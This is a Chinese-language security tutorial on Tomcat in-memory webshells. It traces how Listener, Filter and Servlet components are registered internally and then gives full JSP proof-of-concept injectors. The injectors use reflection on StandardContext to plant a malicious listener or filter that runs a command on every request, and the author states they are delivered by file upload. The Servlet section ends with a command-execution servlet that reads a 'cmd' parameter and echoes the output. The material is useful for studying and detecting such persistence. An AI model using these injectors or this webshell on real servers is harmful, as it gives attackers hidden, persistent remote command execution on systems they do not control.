Listener内存马

前置基础

Java Web 开发中的监听器(Listener)就是 Application、Session 和 Request 三大对象创建、销毁或者往其中添加、修改、删除属性时自动执行代码的功能组件。

Listener三个域对象

  • ServletContextListener
  • HttpSessionListener
  • ServletRequestListener

根据名字来看,ServletRequestListenner是最适合当作内存马的。从名字就知道,ServletRequestListener是用来监听ServletRequest对象的,当我们访问任意资源时,即可触发ServletRequestListener#requestInitialized()方法

构建listener

之前构建Filter内存马,需要定义一个实现好filter接口的类,Listener也是一样,需要定义一个实现好Listener接口的类

要实现listener的业务,就要实现EventListener,感觉和Serializable接口相似,只起了一个标记作用

1
2
3
4
5
6
7
8
package java.util;

/**
* A tagging interface that all event listener interfaces must extend.
* @since JDK1.1
*/
public interface EventListener {
}

EventListener的实现类非常多,我们优先找Servlet开头的,方便去触发我们所构造的恶意Lisenter

我们找到了ServletRequestListener

感觉该监听器在我们每次发送请求时,都会触发其requestInitialized方法

1
2
3
4
5
6
public interface ServletRequestListener extends EventListener {

default public void requestDestroyed(ServletRequestEvent sre) {}

default public void requestInitialized(ServletRequestEvent sre) {}
}

先构造一个简单的listener

因为前面猜想 requestInitialized() 方法可以触发 Listener 监控器,所以我们在 requestInitialized() 方法里面加上一些代码,来证明它何时被执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;

@WebListener("/listenerTest")
public class ListenerTest implements ServletRequestListener {

public ListenerTest(){
}

@Override
public void requestDestroyed(ServletRequestEvent sre) {

}

@Override
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("Listener Initialized");
}
}

同样我们也需要在web.xml中配置

1
2
3
<listener>
<listener-class>ListenerTest</listener-class>
</listener>

接下来在访问路径时,都会打印信息

至此,Listener 基础代码实现完成,下面我们来分析 Listener 的运行流程。

分析

访问前

与servlet注册时相似,我们直接看到解析xml文件后做注册的地方ContextConfig#configureContext

将web.xml读取后,作为参数传入该方法中后,对servlet、filter、listener等组件进行配置

调试ContextConfig#configureContext,我们可以看到,获取的web.xml中已经有了对应的Listener文件

我们在这里重点关注listener的读取

1
2
3
4
5
6
7
private void configureContext(WebXml webxml) {
......
for (String listener : webxml.getListeners()) {
context.addApplicationListener(listener);
}
......
}

我们在此处下个断点,运行到这里

这里的context是StandardContext,执行的是StandardContextaddApplicationListener方法

在读取完web.xml文件后,需要去加载Listener

当我们读取完配置文件,当应用启动的时候,StandardContext 会去调用 listenerStart() 方法。这个方法做了一些基础的安全检查,最后完成简单的 start 业务。

刚开始的地方,listenerStart() 方法中有这么一个语句

1
String listeners[] = findApplicationListeners();

这里这个方法实际就是把之前的 Listener 返回,存放到listeners

1
2
3
4
@Override
public String[] findApplicationListeners() {
return applicationListeners;
}

访问后

把断点下在requestInitialized方法,开启调试,访问路径后走到这里

但这里只是我们所写的代码执行点,我们需要向上找,找到StandardContext#fireRequestInitEvent方法

这里会调用getApplicationEventListeners方法,获取ApplicationEventListeners并存入instances[]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
@Override
public boolean fireRequestInitEvent(ServletRequest request) {

Object instances[] = getApplicationEventListeners();

if ((instances != null) && (instances.length > 0)) {

ServletRequestEvent event =
new ServletRequestEvent(getServletContext(), request);

for (Object instance : instances) {
if (instance == null) {
continue;
}
if (!(instance instanceof ServletRequestListener)) {
continue;
}
ServletRequestListener listener = (ServletRequestListener) instance;

try {
listener.requestInitialized(event);
} catch (Throwable t) {
ExceptionUtils.handleThrowable(t);
getLogger().error(sm.getString(
"standardContext.requestListener.requestInit",
instance.getClass().getName()), t);
request.setAttribute(RequestDispatcher.ERROR_EXCEPTION, t);
return false;
}
}
}
return true;
}

我们进入到getApplicationEventListeners()方法中,可以看到该方法只做了一件事:获取一个 Listener 数组

1
2
3
4
@Override
public Object[] getApplicationEventListeners() {
return applicationEventListenersList.toArray();
}

后面的for循环,会从Listener数组中,将listener一个一个取出来,去执行它的<font style="color:rgb(80, 80, 92);">requestInitialized</font>方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
for (Object instance : instances) {
if (instance == null) {
continue;
}
if (!(instance instanceof ServletRequestListener)) {
continue;
}
ServletRequestListener listener = (ServletRequestListener) instance;

try {
listener.requestInitialized(event);
} catch (Throwable t) {
ExceptionUtils.handleThrowable(t);
getLogger().error(sm.getString(
"standardContext.requestListener.requestInit",
instance.getClass().getName()), t);
request.setAttribute(RequestDispatcher.ERROR_EXCEPTION, t);
return false;
}
}

我们现在就要想,向这个数组中去添加我们的恶意listener

我们可以通过 StandardContext#addApplicationEventListener() 方法来添加 Listener

1
2
3
public void addApplicationEventListener(Object listener) {
applicationEventListenersList.add(listener);
}

到这一步的调试就没有内容了,所以这里的逻辑有应该是和 Filter 差不多的,Listener 这里有一个 Listener 数组,对应的 Filter 里面也有一个 Filter 数组。

实现

要实现内存马的注入,有以下两步
  • 在Listener中的requestInitialized() 方法里面写入恶意代码
  • 通过 StandardContext 类的 addApplicationEventListener() 方法把恶意的 Listener 放进去

首先和前两个内存马一样,通过反射来获取<font style="color:rgb(80, 80, 92);">StandardContext</font>

1
2
3
4
5
6
7
8
ServletContext servletContext =  request.getServletContext();  
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);

Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

接下来定义我们的恶意Listener

1
2
3
4
5
6
7
8
9
10
11
<%!
public class Shell_Listener implements ServletRequestListener {

public void requestInitialized(ServletRequestEvent sre) {
Runtime.getRuntime().exec("calc");
}

public void requestDestroyed(ServletRequestEvent sre) {
}
}
%>

最后就要实例化内存马,并添加监听器

1
2
3
4
<%
Shell_Listener shell_Listener = new Shell_Listener();
context.addApplicationEventListener(shell_Listener);
%>

最终poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.Arrays" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.IOException" %>
<html>
<head>
<title>Title</title>
</head>
<body>

<%!
public class Shell_Listener implements ServletRequestListener {

public void requestInitialized(ServletRequestEvent sre) {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}

public void requestDestroyed(ServletRequestEvent sre) {
}
}
%>

<%
ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);

Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

Shell_Listener shellListener = new Shell_Listener();
standardContext.addApplicationEventListener(shellListener);
%>

</body>
</html>

将tomcat服务启动后,访问addListener.jsp,将恶意filter注册进tomcat,后续访问任何一个路径,都可以成功执行命令

Filter内存马

从图中可以看出,我们的请求会经过 filter 之后才会到 Servlet ,那么如果我们动态创建一个 filter 并且将其放在最前面,我们的 filter 就会最先执行,当我们在 filter 中添加恶意代码,就会进行命令执行,这样也就成为了一个内存 Webshell

环境配置

首先在IDEA中创建Servlet,并导入tomcat依赖

  • Tomcat 8.5.76
1
2
3
4
5
6
<dependency>  
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.81</version>
<scope>provided</scope>
</dependency>

在我们的项目中构造一个Filter类memFilter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public class memFilter implements Filter {
public void init(FilterConfig config) throws ServletException {
System.out.println("OK");
}

public void destroy() {

}

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
System.out.println("filter success");
chain.doFilter(request, response);
}
}

修改web.xml,将该filter与路径绑定,即只有访问/filter时才会触发filter拦截器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">

<filter>
<filter-name>filter</filter-name>
<filter-class>memFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>filter</filter-name>
<url-pattern>/filter</url-pattern>
</filter-mapping>
</web-app>

分析

访问/filter后

我们在 filter.java 下的 doFilter 这个地方打断点,并且访问 /filter 接口,断下来开始调试

步入ApplicationFilterChain#doFilterGlobals.IS_SECURITY_ENABLED 用来判断一下是否开启全局服务,默认不开启

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
@Override
public void doFilter(ServletRequest request, ServletResponse response)
throws IOException, ServletException {

if( Globals.IS_SECURITY_ENABLED ) {
final ServletRequest req = request;
final ServletResponse res = response;
try {
java.security.AccessController.doPrivileged(
new java.security.PrivilegedExceptionAction<Void>() {
@Override
public Void run()
throws ServletException, IOException {
internalDoFilter(req,res);
return null;
}
}
);
} catch( PrivilegedActionException pe) {
Exception e = pe.getException();
if (e instanceof ServletException) {
throw (ServletException) e;
} else if (e instanceof IOException) {
throw (IOException) e;
} else if (e instanceof RuntimeException) {
throw (RuntimeException) e;
} else {
throw new ServletException(e.getMessage(), e);
}
}
} else {
internalDoFilter(request,response);
}
}

跳到最后的else中,进入到internalDoFilter方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
private void internalDoFilter(ServletRequest request,
ServletResponse response)
throws IOException, ServletException {

// Call the next filter if there is one
if (pos < n) {
ApplicationFilterConfig filterConfig = filters[pos++];
try {
Filter filter = filterConfig.getFilter();

if (request.isAsyncSupported() && "false".equalsIgnoreCase(
filterConfig.getFilterDef().getAsyncSupported())) {
request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR, Boolean.FALSE);
}
if( Globals.IS_SECURITY_ENABLED ) {
final ServletRequest req = request;
final ServletResponse res = response;
Principal principal =
((HttpServletRequest) req).getUserPrincipal();

Object[] args = new Object[]{req, res, this};
SecurityUtil.doAsPrivilege ("doFilter", filter, classType, args, principal);
} else {
filter.doFilter(request, response, this);
}
} catch (IOException | ServletException | RuntimeException e) {
throw e;
} catch (Throwable e) {
e = ExceptionUtils.unwrapInvocationTargetException(e);
ExceptionUtils.handleThrowable(e);
throw new ServletException(sm.getString("filterChain.filter"), e);
}
return;
}

// We fell off the end of the chain -- call the servlet instance
try {
if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
lastServicedRequest.set(request);
lastServicedResponse.set(response);
}

if (request.isAsyncSupported() && !servletSupportsAsync) {
request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR,
Boolean.FALSE);
}
// Use potentially wrapped request from this point
if ((request instanceof HttpServletRequest) &&
(response instanceof HttpServletResponse) &&
Globals.IS_SECURITY_ENABLED ) {
final ServletRequest req = request;
final ServletResponse res = response;
Principal principal =
((HttpServletRequest) req).getUserPrincipal();
Object[] args = new Object[]{req, res};
SecurityUtil.doAsPrivilege("service",
servlet,
classTypeUsedInService,
args,
principal);
} else {
servlet.service(request, response);
}
} catch (IOException | ServletException | RuntimeException e) {
throw e;
} catch (Throwable e) {
e = ExceptionUtils.unwrapInvocationTargetException(e);
ExceptionUtils.handleThrowable(e);
throw new ServletException(sm.getString("filterChain.servlet"), e);
} finally {
if (ApplicationDispatcher.WRAP_SAME_OBJECT) {
lastServicedRequest.set(null);
lastServicedResponse.set(null);
}
}
}

filter是从filters[pos++]中获取的,其中定义如下

1
private ApplicationFilterConfig[] filters = new ApplicationFilterConfig[0];

filters其中存在两个filter,一个是tomcat本身自带的,另一个就是我们所定义的

我们查找用法,其中写入值的方法只有ApplicationFilterChainaddFilter方法中

而addFilter所调用的地方也只有ApplicationFilterFactorycreateFilterChain的两个位置,剩下的调用会在后面与这里呼应

现在pos是1,所以目前得到的filter是tomcat的filter,下面执行filter.doFilter(request, response, this);(这里我的IDEA无法走入WsFilter的doFilter方法QAQ)

<font style="color:rgb(80, 80, 92);">chain.doFilter()</font>,会回到 ApplicationFilterChain 类的 DoFilter() 方法里面

  • 这里理解一下,我们是filterchain,因此需要一个一个获取filter,直到获取到最后一个,很正常的一个链式调用

当pos > n时,就会跳出if中,经过中间一些判断,最后走到servlet.service(request, response);

访问/filter前

我们想要实现filter内存马,就要明白filter是如何被创建并注册的(调用流程如下)

我们选到StandardWrapperValveinvoke方法中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
@Override
public final void invoke(Request request, Response response)
throws IOException, ServletException {

......

MessageBytes requestPathMB = request.getRequestPathMB();
DispatcherType dispatcherType = DispatcherType.REQUEST;
if (request.getDispatcherType()==DispatcherType.ASYNC) {
dispatcherType = DispatcherType.ASYNC;
}
request.setAttribute(Globals.DISPATCHER_TYPE_ATTR,dispatcherType);
request.setAttribute(Globals.DISPATCHER_REQUEST_PATH_ATTR,
requestPathMB);
// Create the filter chain for this request
ApplicationFilterChain filterChain =
ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);

// Call the filter chain for this request
// NOTE: This also calls the servlet's service() method
Container container = this.container;
try {
if ((servlet != null) && (filterChain != null)) {
// Swallow output if needed
if (context.getSwallowOutput()) {
try {
SystemLogHandler.startCapture();
if (request.isAsyncDispatching()) {
request.getAsyncContextInternal().doInternalDispatch();
} else {
filterChain.doFilter(request.getRequest(),
response.getResponse());
}
} finally {
String log = SystemLogHandler.stopCapture();
if (log != null && log.length() > 0) {
context.getLogger().info(log);
}
}
} else {
if (request.isAsyncDispatching()) {
request.getAsyncContextInternal().doInternalDispatch();
} else {
filterChain.doFilter
(request.getRequest(), response.getResponse());
}
}

}
}
......
}

其中存在一个createFilterChain方法,会构建一个filterchain,方法代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
public static ApplicationFilterChain createFilterChain(ServletRequest request,
Wrapper wrapper, Servlet servlet) {

// If there is no servlet to execute, return null
if (servlet == null) {
return null;
}

// Create and initialize a filter chain object
ApplicationFilterChain filterChain = null;
if (request instanceof Request) {
Request req = (Request) request;
if (Globals.IS_SECURITY_ENABLED) {
// Security: Do not recycle
filterChain = new ApplicationFilterChain();
} else {
filterChain = (ApplicationFilterChain) req.getFilterChain();
if (filterChain == null) {
filterChain = new ApplicationFilterChain();
req.setFilterChain(filterChain);
}
}
} else {
// Request dispatcher in use
filterChain = new ApplicationFilterChain();
}

filterChain.setServlet(servlet);
filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());

// Acquire the filter mappings for this Context
StandardContext context = (StandardContext) wrapper.getParent();
FilterMap filterMaps[] = context.findFilterMaps();

// If there are no filter mappings, we are done
if ((filterMaps == null) || (filterMaps.length == 0)) {
return filterChain;
}

// Acquire the information we will need to match filter mappings
DispatcherType dispatcher =
(DispatcherType) request.getAttribute(Globals.DISPATCHER_TYPE_ATTR);

String requestPath = null;
Object attribute = request.getAttribute(Globals.DISPATCHER_REQUEST_PATH_ATTR);
if (attribute != null){
requestPath = attribute.toString();
}

String servletName = wrapper.getName();

// Add the relevant path-mapped filters to this filter chain
for (FilterMap filterMap : filterMaps) {
if (!matchDispatcher(filterMap, dispatcher)) {
continue;
}
if (!matchFiltersURL(filterMap, requestPath)) {
continue;
}
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
context.findFilterConfig(filterMap.getFilterName());
if (filterConfig == null) {
// FIXME - log configuration problem
continue;
}
filterChain.addFilter(filterConfig);
}

// Add filters that match on servlet name second
for (FilterMap filterMap : filterMaps) {
if (!matchDispatcher(filterMap, dispatcher)) {
continue;
}
if (!matchFiltersServlet(filterMap, servletName)) {
continue;
}
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
context.findFilterConfig(filterMap.getFilterName());
if (filterConfig == null) {
// FIXME - log configuration problem
continue;
}
filterChain.addFilter(filterConfig);
}

// Return the completed filter chain
return filterChain;
}

filterMaps[]属性是从context执行findFilterMaps方法后所返回的

1
2
3
4
@Override
public FilterMap[] findFilterMaps() {
return filterMaps.asArray();
}

其中filterChain.addFilter(filterConfig);会将filter加入到filterChain中

要想执行到filterChain.addFilter(filterConfig);,我们需要保证filterMaps与filterConfig不为空

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
if ((filterMaps == null) || (filterMaps.length == 0)) {
return filterChain;
}

for (FilterMap filterMap : filterMaps) {
if (!matchDispatcher(filterMap, dispatcher)) {
continue;
}
if (!matchFiltersURL(filterMap, requestPath)) {
continue;
}
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
context.findFilterConfig(filterMap.getFilterName());
if (filterConfig == null) {
// FIXME - log configuration problem
continue;
}
filterChain.addFilter(filterConfig);
}

小结流程

执行invoke方法

层层调用invoke,对filterChain执行addFilter方法,构造好filterChain

拿出filterchain

进行`dofilter`工作,对filterchain中的filter一个一个进行链式调用

最后一个filter

在最后一个filter执行完doFilter方法后,跳到<font style="color:rgb(83, 83, 96);background-color:rgb(242, 242, 242);">Servlet.service()</font>

攻击思路

我们的攻击代码,应该在StandardContext#findFilterConfig中生效,从filterConfigs获取filter,可以保证我们的每次请求都会触发恶意filter,若在其他位置加入filter,可能只会在本次请求中触发恶意filter

1
2
3
public FilterConfig findFilterConfig(String name) {
return filterConfigs.get(name);
}

我们只需要构造含有恶意的 filter 的 filterConfig 和拦截器 filterMaps,就可以达到触发目的了,并且它们都是从 StandardContext 中来的。

而这个 filterMaps 中的数据对应 web.xml 中的 filter-mapping 标签

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" encoding="UTF-8"?>  
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<filter> <filter-name>filter</filter-name>
<filter-class>filter</filter-class>
</filter>
<filter-mapping> <filter-name>filter</filter-name>
<url-pattern>/filter</url-pattern>
</filter-mapping></web-app>

思路分析

StandardContext 这个类是一个容器类,它负责存储整个 Web 应用程序的数据和对象,并加载了 web.xml 中配置的多个 Servlet、Filter 对象以及它们的映射关系。

在该类中,有以下三个与filter有关的成员变量

  1. filterConfigs 成员变量是一个HashMap对象,里面存储了filter名称与对应的ApplicationFilterConfig对象的键值对,在ApplicationFilterConfig对象中则存储了Filter实例以及该实例在web.xml中的注册信息。
  2. filterDefs 成员变量成员变量是一个HashMap对象,存储了filter名称与相应FilterDef的对象的键值对,而FilterDef对象则存储了Filter包括名称、描述、类名、Filter实例在内等与filter自身相关的数据
  3. filterMaps 中的FilterMap则记录了不同filter与UrlPattern的映射关系

我们需要找到一个方法,去修改filterMaps,它对应的是web.xml中的filter-mapping标签,也就是路径filter-name的对应关系

  • 而我们后面说的<font style="color:rgb(80, 80, 92);">filterDef</font>,对应的就是web.xml中的filter标签,是Filter类filter-name的对应关系

StandardContext类中存在两个方法,可以向<font style="color:rgb(80, 80, 92);">filterMaps</font>中添加数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
@Override
public void addFilterMap(FilterMap filterMap) {
validateFilterMap(filterMap);
// Add this filter mapping to our registered set
filterMaps.add(filterMap);
fireContainerEvent("addFilterMap", filterMap);
}

@Override
public void addFilterMapBefore(FilterMap filterMap) {
validateFilterMap(filterMap);
// Add this filter mapping to our registered set
filterMaps.addBefore(filterMap);
fireContainerEvent("addFilterMap", filterMap);
}

修改filterDef,在StandardContext类中存在着方法<font style="color:rgb(80, 80, 92);">addFilterDef</font>

1
2
3
4
5
6
7
8
public void addFilterDef(FilterDef filterDef) {

synchronized (filterDefs) {
filterDefs.put(filterDef.getFilterName(), filterDef);
}
fireContainerEvent("addFilterDef", filterDef);

}

最后的filterConfig,在StandardContext类中存在着方法<font style="color:rgb(80, 80, 92);">filterStart</font>,该方法中的<font style="color:rgb(80, 80, 92);">filterConfigs.put(name, filterConfig);</font>部分完成了<font style="color:rgb(80, 80, 92);">filterConfig</font>的添加。在后续实现过程中,可以调用<font style="color:rgb(80, 80, 92);">StandardContext#filterStart</font>方法完成添加,也可以直接调用<font style="color:rgb(80, 80, 92);">filterConfigs.put(name, filterConfig);</font>,道理都是一样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public boolean filterStart() {

if (getLogger().isDebugEnabled()) {
getLogger().debug("Starting filters");
}
// Instantiate and record a FilterConfig for each defined filter
boolean ok = true;
synchronized (filterConfigs) {
filterConfigs.clear();
for (Entry<String,FilterDef> entry : filterDefs.entrySet()) {
String name = entry.getKey();
if (getLogger().isDebugEnabled()) {
getLogger().debug(" Starting filter '" + name + "'");
}
try {
ApplicationFilterConfig filterConfig =
new ApplicationFilterConfig(this, entry.getValue());
filterConfigs.put(name, filterConfig);
} catch (Throwable t) {
t = ExceptionUtils.unwrapInvocationTargetException(t);
ExceptionUtils.handleThrowable(t);
getLogger().error(sm.getString(
"standardContext.filterStart", name), t);
ok = false;
}
}
}

return ok;
}

实现

servlet内存马相似,依旧是写马+动态注册

构造思路

通过前文分析,得出构造的主要思路如下
1、获取当前应用的ServletContext对象
2、通过ServletContext对象再获取filterConfigs
2、接着实现自定义想要注入的filter对象
4、然后为自定义对象的filter创建一个FilterDef
5、最后把 ServletContext对象、filter对象、FilterDef全部都设置到filterConfigs即可完成内存马的实现

filter内存马的实现

这里是实现代码执行,不对内存马的回显进行分析

实现动态注册,首先需要通过反射来获取StandardContext(和servlet内存马一样)

1
2
3
4
5
6
7
8
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

由前面Filter实例存储分析得知 StandardContext Filter实例存放在filterConfigs、filterDefs、filterConfigs这三个变量里面,将fifter添加到这三个变量中即可将内存马打入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
String filterName = "cmdFilter";

FilterDef def = new FilterDef();
def.setFilterName(filterName);
def.setFilter(shellFilter);
def.setFilterClass(shellFilter.getClass().getName());

FilterMap map = new FilterMap();
map.setFilterName(filterName);
map.addURLPattern("/mem");

standardContext.addFilterDef(def);
standardContext.addFilterMapBefore(map);
standardContext.filterStart();

out.println("success");

将上述代码整理好后,写入网站上的一个jsp文件中(利用方式:文件上传)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<%--
Created by IntelliJ IDEA.
User: Andu1n
Date: 2025/2/19
Time: 19:33
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="javax.security.auth.login.ConfigurationSpi" %>
<%@ page import="java.io.ObjectInputFilter" %>
<html>
<head>
<title>Title</title>
</head>
<body>
<%
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

Filter shellFilter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
Runtime.getRuntime().exec("calc");
}

@Override
public void destroy() {

}

};

String filterName = "cmdFilter";

FilterDef def = new FilterDef();
def.setFilterName(filterName);
def.setFilter(shellFilter);
def.setFilterClass(shellFilter.getClass().getName());

FilterMap map = new FilterMap();
map.setFilterName(filterName);
map.addURLPattern("/mem");

standardContext.addFilterDef(def);
standardContext.addFilterMapBefore(map);
standardContext.filterStart();

out.println("success");

%>

</body>
</html>

启动tomcat服务,访问addFilter.jsp,执行我们的jsp代码

回显success,说明我们前面的代码都已经执行成功,完成了内存马的注入

后续访问我们设定好的内存马路径,成功执行代码

Servlet内存马

前置基础

什么是Servlet

Java Servlet 是运行在 Web 服务器或应用服务器上的程序,它是作为来自 Web 浏览器或其他 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层

它在应用程序中的位置如下图所示,很类似于中间件

Servlet请求处理过程

客户端发起http请求,比如get类型

Servlet容器接收到请求,根据请求信息,封装为HttpServletRequestHttpServletResponse对象,这就是我们的传参

Servlet容器调用HttpServlet的init方法,init方法旨在第一次请求时被调用

Servlet容器调用service方法

service方法根据请求类型(这里为get请求),分别调用doGet或者doPost方法,这里我们调用doGet方法

doXXX方法中是我们自己写的业务逻辑

业务逻辑处理完成,返回给Servlet容器,然后容器将结果返回给客户端

容器关闭时,会调用destory方法

环境配置

我们首先需要创建一个JavaWeb项目

  • JDK8u65
  • 在pom.xml中导入tomcat的包
1
2
3
4
5
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.61</version>
</dependency>

分析

Servlet接口分析

我们可以看一下Servlet接口中有哪些方法,每个方法的作用如下
1
2
3
4
5
6
7
8
9
10
11
public interface Servlet {  
void init(ServletConfig var1) throws ServletException; // init方法,创建好实例后会被立即调用,仅调用一次。

ServletConfig getServletConfig();//返回一个ServletConfig对象,其中包含这个servlet初始化和启动参数

void service(ServletRequest var1, ServletResponse var2) throws ServletException, IOException; //每次调用该servlet都会执行service方法,service方法中实现了我们具体想要对请求的处理。

String getServletInfo();//返回有关servlet的信息,如作者、版本和版权.

void destroy();//只会在当前servlet所在的web被卸载的时候执行一次,释放servlet占用的资源
}

如果说我们需要在一个地方中写入恶意代码,那么应该是需要写在service方法中

小demo

接下来我们去构造一个恶意Servlet
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;

// 基础恶意类
public class ServletTest implements Servlet {
@Override
public void init(ServletConfig config) throws ServletException {

}

@Override
public ServletConfig getServletConfig() {
return null;
}

@Override
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
if (cmd !=null){
try{

Process process = Runtime.getRuntime().exec(cmd);
InputStream inputStream = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
String line;
while ((line = bufferedReader.readLine()) != null){
res.getWriter().println(line);
}
}catch (IOException e){
e.printStackTrace();
}catch (NullPointerException n){
n.printStackTrace();
}
}
}

@Override
public String getServletInfo() {
return null;
}

@Override
public void destroy() {

}
}

web.xml中配置如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">

<servlet>
<servlet-name>myServlet</servlet-name> <!-- Servlet 的名称 -->
